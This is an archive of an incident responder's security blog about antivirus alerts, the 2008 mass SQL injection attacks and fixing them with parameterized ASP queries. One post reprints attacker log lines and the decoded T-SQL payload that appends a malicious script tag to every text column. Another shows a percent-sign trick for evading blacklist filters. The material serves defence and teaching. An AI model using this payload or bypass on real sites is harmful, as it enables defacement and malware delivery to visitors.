Neil Carpenter's Blog : Security

Incident Response: The Importance of Anti-Virus

neilcar — Mon, 23 Nov 2009 17:17:00 GMT

Heading home from the CSS Security Global Summit on Friday, I got stuck in Cincinnati’s airport. While walking through baggage claim, I saw this displayed on the arrivals board:

(I didn’t have a proper camera with me so, if that’s hard to read, it’s a Symantec AntiVirus Auto-Protect notification of a trojan horse found. Symantec was unable to quarantine it due to an access denied.)

Now, I suspect that this was a false positive; however, I’m just a guy walking by their wall of monitors. Even if it is a false positive, it was first detected at 4:26PM…and it was 8:30pm when I was walking by. (CORRECTION: It occurred to me, when I looked back at the picture, that this was detected on THURSDAY at 4:26PM. This was, apparently, displayed for over a day.) Even if there is no risk, I think it would have been wise for somebody to react to this faster just so that you don’t have smart-alec security guys walking by taking pictures…

This reminded me of a common thread that I’ve seen in security incidents lately: You can’t ignore your anti-virus software. Your AV software is whispering softly in your ear, telling you that something bad has happened – if you ignore it, you may go on (for months, sometimes) not knowing that something bad has happened.

What about if it’s a false positive? Do something about it. You paid for AV software and it’s an important factor in early detection of security incidents, so don’t just accept that it’s generating noise. If there’s not a clear resolution, contact your AV vendor and get them to help figure it out.

The same thing is true of errors -- “Unable to scan file X because of reason Y”, for example. Either this is a valid error that should be solved or it’s noise which shouldn’t be bubbling up to you as an error. In some cases, this is an indication of an attacker who is circumventing your AV software. If you can’t easily fix these, talk to your AV vendor and get their help in resolving them.

Another important thing, in regards to AV vendors, is their ability to react quickly in an emergency. Make sure that you know how to contact them and get samples to them if you have something rampant in your environment that isn’t caught by their current signatures. Also, be sure to understand how the vendor would deliver a new signature and how you would deploy it as quickly as possible. Include disaster scenarios such as “What if my network was completely down?” and “What if my enterprise had no Internet connectivity?” in your planning.

In general, make sure that you have an excellent relationship with your AV vendor and that they are a company that you can rely on, especially in a crisis.

AV isn’t a perfect solution but, then again, neither is any other single part of your security strategy. In some cases, it may be the difference between responding quickly to an incident and not responding until significant damage has been done.

I’ve often discussed these concepts with customers; however, two specific incidents that I’ve seen recently have made me think more about this topic.

In the first incident, a company was first penetrated by a remote-access trojan that their AV software didn’t detect; however, when I looked at each of the machines that this was installed on, I saw that the AV software had logged failures to scan various files on every machine that was compromised. (There might be a high volume of these errors in the enterprise; however, I doubt it since none of these machines had errors except where they correlated with specific malware being dropped on the system.) Additionally, some of the other tools did cause AV detections – for example, PWDump was detected on one of the compromised workstations. The attackers went on to use a different password hash dumping tool that was not detected…

Had these issues been remediated immediately, the company could have stopped the incident before it really started. Instead, the company didn’t discover the incident until months later from unrelated symptoms.

The second incident was large enough to take the company entirely off the Internet and turn off most of their Windows machines as a precaution. The company had an outbreak of a piece of malware similar to Conficker (in that it impersonated users to spread to machines that were otherwise not vulnerable) but different enough that its AV vendor didn’t have signatures that covered it. It was 50+ hours between when the initial infections were discovered and when signatures that were considered to be totally effective were deployed.

In this case, the AV vendor wasn’t a ‘trusted advisor’ to the company. The company was unable to effectively deliver on the promise of AV software to contain and remove malware at the time that it counted most to them.

SQL Injection Hijinks

neilcar — Fri, 31 Oct 2008 23:07:00 GMT

or Why I Keep Harping On Blacklisting

Summary:

An incident reveals attempts to get around blacklisting by manipulating behavior in ASP, illustrating the weakness of blacklist approaches.

A new version of UrlScan is shipping today with a change specifically to address this.

Discussion:

I was working with a colleague on an incident last week that looked like a garden-variety SQL injection drive-by except for something interesting.

While looking through the IIS logs from the affected server, I saw this:

abc=120364DEC%LARE%20@S%20VAR%CHAR(4000)%3BS%ET%20@S%...

As I looked at this, "DEC%LARE", "VAR%CHAR", and "BS%ET" immediately stood out to me. Obviously, the percent sign is usually used to escape something in a URL (like the %20's in there, which are spaces); however, this naked percent sign thrown in there didn't seem to have any purpose and should have caused SQL to not execute the code in question.

When I see somebody do something like this, it's usually for a purpose so I took another look at it. I realized that, if ASP silently stripped that percent sign out of there, then this would be an efficient way to bypass a lot of blacklist-based filters.

I wrote a quick test ASP page(1) and found that my guess was right on -- ASP drops a percent sign from the query string if it isn't followed by two valid hex characters(0-9, A-F) when it actually interprets it via Request.QueryString. This means that any filter that inspects raw headers using Request.ServerVariables is going to miss "DEC%LARE" if it is looking for "DECLARE" but, on the other hand, the ASP app that actually consumes that string using Request.QueryString("abc") is going to get it without the percent sign.

Conclusion:

As this incident illustrates, a blacklist approach to SQL injection only works for as long as nobody finds a way around your blacklist. As soon as somebody finds a way around it (and experience suggests that attackers are motivated to do so), the value of your blacklist is zero.

The right approach is to fix the actual vulnerability in the code using parameterized queries. See the articles below for more information and examples.

http://msdn.microsoft.com/en-us/library/cc676512.aspx

SQL Injection Mitigation- Using Parameterized Queries

SQL Injection Mitigation- Using Parameterized Queries part 2 (types and recordsets)

The IIS team is releasing an update to UrlScan today that includes changes to address this in their filtering product. Of course, as I've said over and and over, no filter-based approach is going to be perfect, but UrlScan is still an excellent defense-in-depth tool and a way to mitigate SQL injection vulns in the short term while your developers fix them.

For more information on the UrlScan update, Wade Hilmo has all the details:

http://blogs.iis.net/wadeh/archive/2008/10/31/urlscan-3-1.aspx

(1)

<HTML>
QUERY_STRING = <%= Request.ServerVariables("QUERY_STRING") %> <BR>
test =<%= Request.QueryString("test") %> <BR>
</HTML>

PASSGEN

neilcar — Wed, 22 Oct 2008 21:52:02 GMT

Occasionally, I see a security incident where one of the things that went wrong was that all of the customer's machines have the same password for the built-in administrator's account. Whenever this happens, I suggest the PASSGEN tool that was included with the book "Protect Your Windows Network" by Steve Riley and Jesper Johansson. Obviously, most people don't want to run to the bookstore in the middle of a security incident but, fortunately, it was available on their website.

Unfortunately, the website disappeared recently and I had to scramble around to find it. If you're looking for PASSGEN (and you should be if you have the same password for local admin across a number of machines), you can find it in two places:

Input Validation Is Not The Answer

neilcar — Thu, 07 Aug 2008 21:11:00 GMT

I just sent a piece of e-mail to my team about input validation and SQL injection and it occurred to me that I've been meaning to get into this here, too:

If you're trying to solve a SQL injection problem, input validation is NOT the answer!

There, I've said it. I keep seeing blog posts, forum posts, e-mail, etc, that say "Oh, you got hax0red by SQL injection, you should have been doing input validation". I'm sorry, but y'all are wrong, wrong, wrong, wrong. Let me copy-and-paste my e-mail to explain why:

Your customer is failing to stop SQL injection because they don’t understand the problem (or, by extension, the solution).

It sounds like the customer is trying to do input validation. What input validation does is to check input coming from an untrusted user to make sure that it doesn’t contain any blacklisted characters/phrases. Depending on the implementation, it either replaces items on the blacklist with something innocuous or it blocks the input entirely.

This is the wrong way to stop SQL injection, period. Input validation is sometimes useful as part of a defense-in-depth strategy but that’s it. There are several major problems with input validation:
It only works for as long as you’re smarter than your attackers because you have to anticipate every potential attack.
It doesn’t solve your real problem, which is that SQL can potentially execute something in input you get from your untrusted user.
You can end up with a lot of false positives if you’re not careful — if you’re blocking “exec”, what happens when one of your users has the title “Executive Assistant”?
To use an analogy, using input validation to stop SQL injection is like using anti-virus software to stop malware. It might work, it might not, but you’d be far better off if you actually resolved the vulnerability instead of just trying to mitigate it.

How, then, should the customer fix their vulnerabilities? Parameterizing queries is the single best step. Instead of simply mitigating the vulnerability, this actually resolves it. At a high level, I think of parameterized queries as DEP for SQL — it separates the executable code from the data and prevents anything in the data from executing.

Bala Neeumalla wrote a great MSDN article on how to code in ASP to prevent SQL injection (http://msdn.microsoft.com/en-us/library/cc676512.aspx) that covers this in detail. His article should be considered definitive. I wrote a few blog entries (http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx, http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx) that have additional examples that might be helpful to the customer.

Michael Howard also wrote a great blog entry regarding SQL injection and the SDL (http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx). Besides using parameterized queries, there are two additional steps that can be taken to further protect an application:
Use properly designed stored procedures
Use SQL Execute-only permission so that the application can only execute the stored procedures and cannot execute other statements.

This doesn't mean that input validation isn't useful and it doesn't mean it isn't appropriate mitigation in some cases. It's still not the way to prevent SQL injection.

And I'm not just talking about ASP, either. The same thing holds true for ASP.Net, the same thing holds true for Cold Fusion (look up CFQueryParam), Java, etc, etc. Wherever you query, there shall ye parameterize.

SQL Storm: Possible ASP.Net

neilcar — Thu, 05 Jun 2008 00:13:59 GMT

I’ve had an unconfirmed report that the SQL Storm attacks are now also affecting ASP.Net pages, specifically with a URL of http://www.chliyi.com/m.js (this appears to be offline currently but I wouldn't suggest browsing there...) being injected into those pages. My team hasn’t worked on any incidents yet so I can’t confirm that it is the same issue; however, it certainly looks very similar.

This is a good time for me to remind everybody that Microsoft does provide no-cost support in the case of a security incident. If you’ve been affected, you can call 1-866-PCSAFETY in the United States & Canada. Outside of that area, refer to http://support.microsoft.com/common/international.aspx?rdpath=4 to find the right contact information.

(Thanks to Erwin Geirnaert for the heads-up.)

SQL Injection: Trends & Guidance

neilcar — Fri, 30 May 2008 19:17:11 GMT

I've been working with the SWI team to write a comprehensive overview of the SQL Storm attacks with guidance for IT administrators, developers, and end users. That article is posted at sql-injection-attack.aspx.

For developers, specifically, Bala Neerumalla has written an excellent overview of SQL injection and classic ASP code for MSDN at cc676512.aspx. This is well worth a read for any developer who has legacy ASP code running -- it covers a variety of scenarios and how to resolve them.

SQLInjectionFinder

neilcar — Tue, 27 May 2008 20:51:23 GMT

My colleague Greg, who has forgotten more about command line scripting than I will ever know, put together a sample on CodePlex that automates finding SQL injection attacks from the ongoing mass SQL injection attack ("SQL Storm", as I saw it dubbed today). This is a fairly convenient approach to searching logfiles on an IIS server.

SQLInjectionFinder -- http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&ReleaseId=13436

SQL Injection Mitigation: Using Parameterized Queries part 2 (types and recordsets)

neilcar — Fri, 23 May 2008 19:18:00 GMT

(Part 1 is here)

Previously, I provided a simple example of using parameterized queries in classic ASP; however, that sample lacked a few things such as explicit typing for the parameters. It also created a read-only ADODB.RecordSet which, obviously, isn't one-size-fits-all.

Typing

In the last installment, we had worked up this code to do our query:

Set objConnection = Server.CreateObject("ADODB.Connection")
objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _
& "Initial Catalog=website;User Id=user;Password=password;" _
& "Connect Timeout=15;Network Library=dbmssocn;"
strSql = "SELECT name, info FROM [companies] WHERE name = ?;"
set objCommand = Server.CreateObject("ADODB.Command")
objCommand.ActiveConnection = objConnection
objCommand.CommandText = strSql
objCommand.Parameters(0).value = strSearch
Set objSearchResults = objCommand.Execute()

As I noted then, this code has a minor performance issue because ADODB is going to have to made a round-trip to SQL to figure out the parameter type before it can execute the query. We can fix this and do input validation by explicitly typing our parameters like this:

Set objConnection = Server.CreateObject("ADODB.Connection")
objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _
& "Initial Catalog=website;User Id=user;Password=password;" _
& "Connect Timeout=15;Network Library=dbmssocn;"
strSql = "SELECT name, info FROM [companies] WHERE name = ?;"
set objCommand = Server.CreateObject("ADODB.Command")
objCommand.ActiveConnection = objConnection
objCommand.CommandText = strSql
set objParameter = objCommand.CreateParameter("search", adVarChar, adParamInput, 20)
objCommand.Parameters.Append objParameter
obParameter.value = strSearch
Set objSearchResults = objCommand.Execute()

Here, we are creating an explicit parameter with a type of adVarChar (ie, it's a string) that is an input parameter with a maximum length of 20. We append the parameter to our ADODB.Command object and set the parameter's value to the search string we want in our command. More info about ADODB.Parameter objects is here, more info about the possible types is here.

RecordSets

We may want to be able to write to the ADODB.RecordSet that we create; however, the code above won't work for that because it creates a recordset with the default parameters (Set objSearchResults = objCommand.Execute()). If we want to be able to update the recordset, we have to create it with explicit parameters:

Set objConnection = Server.CreateObject("ADODB.Connection")
objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _
& "Initial Catalog=website;User Id=user;Password=password;" _
& "Connect Timeout=15;Network Library=dbmssocn;"
strSql = "SELECT name, info FROM [companies] WHERE name = ?;"
set objCommand = Server.CreateObject("ADODB.Command")
objCommand.ActiveConnection = objConnection
objCommand.CommandText = strSql
set objParameter = objCommand.CreateParameter("search", adVarChar, adParamInput, 20)
objCommand.Parameters.Append objParameter
obParameter.value = strSearch
Set objSearchResults = Server.CreateObject("ADODB.RecordSet")
objSearchResults.Open objCommand,null,adOpenDynamic,adLockOptimistic

Now, we are explicitly providing parameters to indicate that we want a dynamic cursor (adOpenDynamic) and that we want optimistic locking (adLockOptimistic). This creates a recordset that can be updated via the RecordSet.Update method (http://msdn.microsoft.com/en-us/library/ms676529(VS.85).aspx).

SQL Injection Mitigation: Using Parameterized Queries

neilcar — Wed, 21 May 2008 16:05:00 GMT

Michael Howard wrote an excellent article yesterday on how the SDL addresses SQL injection. He walks through three coding requirements/defenses:

Use SQL Parameterized Queries
Use Stored Procedures
Use SQL Execute-only Permissions

As Michael points out, only the first, parameterized queries, remedies the problem. The other two provide additional defense.

The good news is that changing your ASP pages to use parameterized queries instead of just dynamically building the query is dead simple. The bad news is that MSDN doesn't have a lot of samples of how to do parameterized queries in ASP so I thought providing one would be helpful.

As an example, I'm sure that a lot of the websites that have been compromised recently via SQL injection have something like this:

Set objConnection = Server.CreateObject("ADODB.Connection")
objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _
& "Initial Catalog=website;User Id=user;Password=password;" _
& "Connect Timeout=15;Network Library=dbmssocn;"
strSQL = "SELECT name, info FROM [companies] WHERE name =" & strSearch & "';"
Set objSearchResults = objConnection.Execute(strSQL)

This code is going to be extremely vulnerable to SQL injection since it's just taking the user input (which was passed in via a query string from a web form) and pasting it into the SQL statement.

The good thing about parameterization is that it separates the 'executable' code ("SELECT name, info...") from the 'data' (strSearch) we're using. With a few changes, we can make this code use parameters for the query and, with this small change, defend against being exploited in this way.

Set objConnection = Server.CreateObject("ADODB.Connection")
objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _
& "Initial Catalog=website;User Id=user;Password=password;" _
& "Connect Timeout=15;Network Library=dbmssocn;"
strSql = "SELECT name, info FROM [companies] WHERE name = ?;"
set objCommand = Server.CreateObject("ADODB.Command")
objCommand.ActiveConnection = objConnection
objCommand.CommandText = strSql
objCommand.Parameters(0).value = strSearch
Set objSearchResults = objCommand.Execute()

All that we needed to do was:

Replace the query string in our SQL squery statement with a ? (which is the placeholder for a parameter).
Create a new Command object for our command.
Assign our active connection and command text to the Command object.
Set the first parameter in the parameters collection to our dynamic string.
Execute the command.

If we needed to use multiple parameters in our query, we'd add additional question marks to strSQL and additional parameters to the Parameters collection. For example:

...

strSql = "SELECT name, info FROM [companies] WHERE name = ?" _
& "AND info = ?;"
...
objCommand.Parameters(0).value = strName
objCommand.Parameters(1).value = strInfo
...

There is a BIG caveat on this -- the method I show above has a performance hit because I haven't specified the types of the parameters. This means that ADO has to make a roundtrip to the SQL server to figure out the type before actually using it. You can fix this by creating parameters objects with the appropriate type which would have the added bonus of doing simple input validation as well. If there's interest, I'll write a followup in the next few weeks with some samples of typed, parameterized queries. (EDIT: Written, it's here.)

Additional info is available on MSDN here. NomadPete has a fuller walkthrough here that covers parameterized queries and stored procedures.

As always, this is only part of the job in securing against SQL injection; however, it is probably the single most useful change you could make.

(Big thanks to Bala Neerumalla for tech reviewing this for me.)
(Edit: Fixed two minor issues with the code examples. Thanks, Steve!)

Continue on to Part 2

SQL Injection -- A Comment

neilcar — Mon, 07 Apr 2008 17:51:19 GMT

Kumar comments here and I think he has some questions/concerns that are worth addressing. I'm going to add my own comments (and, please note, the comments I make here are my own and do not necessarily reflect Microsoft's corporate opinions).

---------------------------------------------------------------------------------------

My site extensively uses asp and sql server. My site ranking is good with google for certain keywords searches.

Friday morning I found that the bad people (nmidahena) had updated text fields in almost all of the tables with a <script> some thing.js </script>. This has created a nightmare for me.

[nbc] This is consistent with what we've seen elsewhere. You had one or more SQL injection vulnerabilities on an ASP page that used a query string as the SQL query. The attackers found you on Google and ran their scripted attack against you, resulting in all your text getting the <script> tag appended to it.

Fortunately, I had a backup that came to my rescue. I also downloaded all asp and html files to my local machines and searched for "nmidahena" - nothing came up.

[nbc] You won't find anything in the code files, at least not in this attack.

This is what I have done:

a) Restore sql server tables from the backup.

[nbc] This is a very good step as long as you also fix the holes that were used to compromise it in the first place.

b) Rewrite my asp forms to not to accept any character or words that could be used for sql injection.

[nbc] This one is more problematic. Just blacklisting a set of characters/words is probably going to break this attack but it's not likely to prevent future attacks from working. I am not really qualified to answer this as I'm not a developer by trade. Thankfully, Michael Howard and David LeBlanc spent a lot of time answering it in Writing Secure Code. I have the 2nd edition on my desk and pages 399-411 cover this at great length.

[nbc] There are almost certainly other issues to be considered here. The first one is that, in most of these attacks, it looks like the web app is using a user with sysadmin privileges in SQL. This is as bad an idea as putting IUSR_MYSERVER in the administrators group. Your web app should have the least possible privilege in SQL. Running as sysadmin in SQL enables things such as xp_cmdshell, which is a great way for attackers to run sniffers, password-stealing utilities, and other malware on your SQL Server.

[nbc] Another thing to consider is the possibility that this isn't the first SQL injection attack against you. Another attacker might not have defaced your website; instead, they might have silently stolen every bit of data in your database. If your web app was running as sysadmin, they might have silently stolen every bit of data in EVERY database on your SQL Server. It is entirely possible that every name, e-mail address, password, credit-card number, etc that is in your database server's possession is now in somebody else's possession as well. If so, your IIS logs should tell the story.

Do you think this would be sufficient to prevent future attack?

[nbc] There are two answers to this question:

I think this is sufficient to prevent future iterations of this same attack...until the attackers change the script they're using.
I don't think this is sufficient to prevent all future SQL injection attacks. The only approach that is going to help with that is to make sure that you are using least privilege in SQL and build secure SQL statements/stored procedures. Even then, of course, there may be other vulnerabilities in your site that can lead to compromise.

I dont know where to look for help. The hosting agency has no good answers.

[nbc] I don't envy your hosting company or, for that matter, any hosting company. In general, I don't think it's going to be their responsibility to ensure that your code is secure, so I'm not surprised that they don't have good answers. On the other hand, if the security bugs in your code are severe enough, you might be opening their facility up to further compromise.

---------------------------------------------------------------------------------------

Other people may have better advice than I, and I'd love to hear it. Since I'm seeing another 11K (and rising) servers compromised this month via this attack, I think you're not the only person asking these questions. I've spent a lot of time thinking about this lately from a support/incident response perspective and I have some very large questions that I can't seem to answer.

Since my team operates from a reactive position (customer gets compromised, customer calls us, we investigate and offer suggestions), how can we help customers remediate this problem when we work with them? Realistically, the customer needs to do a security code review; however, this is beyond the scope of my team. There are offerings that cover this but, given the amount of work and expertise involved, they are costly.
Even if I had the opportunity to be proactive, how could I contact the large number of people who appear to be vulnerable due to their own code defects (67K+ from last month's attack, 11K+ so far this month)?

Mass SQL Injection -- Get Used To It

neilcar — Fri, 04 Apr 2008 21:00:34 GMT

It looks like another wave of the mass SQL injection I talked about last month is going on. The inserted link is different and, in the one specific incident I've seen, the source IP address is different; however, other than that, the attack looks to be identical.

2.1K websites so far, this month.

Good News

neilcar — Fri, 21 Mar 2008 00:50:45 GMT

The good news is that, whatever else might happen, these guys won't get pwned by SQL injection.

(Via GrumpySecurityGuy.)

Anatomy of a SQL Injection Incident, Part 2: Meat

neilcar — Sun, 16 Mar 2008 04:18:00 GMT

Intro

It would appear that the incident I wrote about yesterday is still ongoing. I've been using a search engine to query for the *.js file that's being injected and it looks something like this:

Wednesday: 10K hits (This is Avert's number. I didn't look until Thu.)
Thursday: 12.1K hits
Friday: 12.9K hits
Saturday: 14K hits

It's not the most scientific measure but it does show a pretty steady progression. The earliest incident that I'm aware of was around 2008-03-01 (depending on where you are in the world) so that's a rate of about a thousand hosts a day, give or take.

Hensing took me to task, privately, for my last post on this because it wasn't very detailed. Fair enough, let's see if we can flesh this out.

Analysis of an Incident

One interesting thing is that the attack appears to do different things depending on the responses it gets to various queries. I've seen three successful incidents and, while they are all similar, it's clear that the script is doing different things depending on the responses it gets. In all four cases, the first thing that happens is:

2008-03-08 13:37:12 /dir1/archive.asp id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 1171

2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%27=%27 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 562

The id=... portion of that log is the cs-uri-query portion of the log. If you were to hit this in the browser, the URL would look like this:

http://www.someserver.com/dir1/archive.asp?id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0

These lines are double-encoded -- the first set of encoded characters, which would be translated by IIS, are denoted by %XX. For example, %20 is a space. The second set aren't meant to be translated until they get to the SQL Server and they use the char(xxx) function in SQL. If we unencode both of those lines, we get this:

id=z ANd |user|=0
id=z ANd |user|=0 and ''='

The next query is a lot of fun:

2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%25%27=%27|33|80040e07|Syntax_error_converting_the_nvarchar_value_'|IUSR_Server|'_to_a_column_of_data_type_int. 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 500 0 292 390

This time, it reads:

id=z ANd |user|=0 and '%'='

This time, the attacker has hit the right combination to return a very informative error message -- he now knows the user ("IUSR_Server") that the web application is running as. In this particular instance, the attacker is happy with this information and proceeds to deliver the payload. In another instance I looked at, the attacker used one extra query with the IS_SRVROLEMEMBER T-SQL function to see if the user was a sysadmin.

So, finally, the attacker is delivering the payload. I've truncated these for readability:

2008-03-08 13:37:15 /dir1/archive.asp id=z;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 17139 1421

2008-03-08 13:37:25 /dir1/archive.asp id=z';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 0 10234

This looks a little complicated but, if we remove the encoding, we get this:

DECLARE @S NVARCHAR(4000);
SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000));
EXEC(@S);--

So, here's what this little bit of T-SQL is doing:

Declaring a variable, S, as an NVARCHAR. For those of us who don't speak T-SQL natively, think of this as a string.
Taking a long hex value (I took out a few hundred characters where the ... is there) that is really a Unicode string(1) and casting it as NVARCHAR. In other words, we're taking this hex representation of a string and turning it into a real string.
Once that's done, we execute that string as a T-SQL statement.

So, of course, the next question is "What is that string?" Here it is, with a bit of sanitization:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.211796*.net/f****p.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

This one is a little more complicated but it does something like this:

Declare a few variables that are used later.
Do a SQL query on the sysobjects and syscolumns tables. This is some serious mojo as these tables contain a list of ALL the tables and ALL the columns in the database. What this query is looking for is every column in the entire database with a type that contains strings.
Now, we're going to loop through all of those columns and, in every one of them...
...we're going to append the <script>...</script> text.
Finally, clean up and we're done.

Now that this has run, every bit of text in your database has this malicious script tag appended to it. If you're using that database to contain text/HTML that you're going to insert into your webpages and display to your users, you are now serving up a malicious script to every one of your trusting customers.

Check Yourself

If you've got a website that uses a database as a backend, you should now be a little concerned. Here are some ideas on what to look for.

So far, the only affected platform that I'm aware of is ASP pages with Microsoft SQL Server as a backend. That doesn't mean that some miscreants won't move on to ASP.Net or PHP or something else -- the attack should be easy enough to move to other platforms. It just means that, so far, ASP pages are all that I've seen affected.

If you fit into that category, then you'll be wanting to review your IIS logs for anything suspicious. LogParser is, hands down, my favorite tool for this sort of work. If you download it, you should be able to do a query like this on your IIS logs:

LogParser -i:iisw3c -o:csv "SELECT * INTO suspicious.csv FROM ex*.log WHERE cs-uri-query LIKE '%CAST(%'"

This is go through all the IIS logs in the directory and search them for lines where the query string contains "CAST(" and output those lines into suspicious.csv. Since "CAST(" should be a pretty unusual string in cs-uri-query, if you have any hits here, it's worth investigating further(2).

If you are affected, then this isn't going to be an easy incident to recover from. My own suggestion would be to pull your website down until you can figure out what's going on -- you're still vulnerable AND you're serving up attacks to every user who comes to your site. That's not going to impress anybody.

The first order of business would be to figure out where you're vulnerable and how vulnerable you are. That's really beyond the scope of what I'm going to hammer out today but I'd suggest starting with a copy of Writing Secure Code and going from there.

Edit: I forgot to mention that this is also a good time to review the privileges that your web app has in SQL. It definitely shouldn't need to be sysadmin!

Footnotes

(1) It's a fair bet that any time you see a hex string where every other byte is 0x00, it's text from a Western language encoded in Unicode.

(2) Obligatory plug for my team -- Microsoft provides no-charge support for any security incident. If you believe you've been affected by this, you can call us for assistance. This page has all the appropriate details for the US and Canada and there are links from there to every other region.

Anatomy of a SQL Injection Incident

neilcar — Fri, 14 Mar 2008 23:19:00 GMT

A number of people are reporting that 10K+ websites have been hacked via a SQL injection attack that injected a link to a malicious .js file into text fields in their database. For example, here's Avert Labs report.

The reports that I've seen talk about how the .js file tries to compromise clients that connect to the defaced web servers; however, they don't discuss the really interesting part. How did the servers get hacked in the first place?

Whenever I see a large number of hosts compromised in the same way, my initial assumption is that they all share a piece of vulnerable code. If this was the case, I thought that it would be in everybody's interest to figure out what that shared code was and take appropriate action.

Since the CSS Security team here at Microsoft worked with several of these incidents, I was able to look at multiple sets of data and the work that my colleagues had already done. The first thing I noticed was that the attacks looked, with a few exceptions, identical. They shared several things in common:

Two initial query strings that do some basic injection, apparently as a test.
One or more additional queries, specifically to do IS_SRVROLEMEMBER() happen in some cases.
Two final queries that DECLARE a variable that CASTs a large hex value into NVARCHAR and then EXEC()'s that string. The string contains a script to append the link to the .js file onto every string-type column in every table in the database.
All of these happen within a very short period of time. The only lag seems to be the time it takes the final two queries to execute. (In the case with the largest database, the last query actually failed with a timeout. I guess that's not surprising since it's essentially doing a find-and-replace on the entire database table.)

The last item makes me think that this is an automated process of some sort, particularly since the user-agent string for the last two queries is different from the user-agent string for the preceding ones.

This is where it gets interesting, though. In comparing the pages that were compromised in different incidents, I realized that, while they're all vulnerable to SQL injection, they don't appear to share any common code.

My next question, then, was how did the attacker select these sites? Given that the whole attack took a very short period of time and the attacker only touched a single ASP page on the server, it was pretty clear that they had some reason to believe that page was vulnerable prior to connecting to the site. It's possible that they had previously scanned the site but I didn't find any indication that this was true.

The other possibility that occurred to me was that the attacker was using a generalized approach to search Google for vulnerable sites. As I was thinking this through, I found that I wasn't the first person to have thought about it:

How Prevalent Are SQL Injection Vulnerabilities

Guard Against SQL Injection Attacks

SQL Injection Is Surprisingly Easy

So, there you have it -- automated SQL injection attacks in a nutshell. Next week, I'll try to find some time to go into some of the details and brainstorm on how incident responders can get to the root of SQL injection attacks.

(I should note that many brilliant people on my team provided information and analysis into how the incidents happened.)

(Part 2 is here.)

LogParser, Event Logs, and Vista

neilcar — Wed, 15 Aug 2007 23:13:00 GMT

LogParser is one of my absolute favorite tools, particularly for doing incident response. I use it a lot to extract and order data into a timeline (hmmm...that's a good topic for a future post).

When I moved to Vista, I found one annoyance, though. The log file format in Vista has changed from *.evt to *.evtx -- the new log file format is XML based and all-round better than the old-school evt files. Unfortunately, this causes a problem when using LogParser on Vista to parse event logs from down-level machines:

C:\priv>logparser "SELECT * FROM Application.evt"
Task aborted.
Cannot open <from-entity>: Error opening event log "\\?\C:\priv\Application.evt": The event log
file is corrupted.
Statistics:
-----------
Elements processed: 0
Elements output: 0
Execution time: 0.21 seconds

The only workaround to this is to convert the logfile to the new evtx format prior to parsing it. You can do this in the event log viewer GUI by doing a Save As... but I find it easier to do this at the command prompt:

wevtutil epl application.evt application.evtx /lf:true

The 'epl' command exports the logfile and the /lf:true specifies that this is an event log file rather than the name of an event log (Application, System, etc).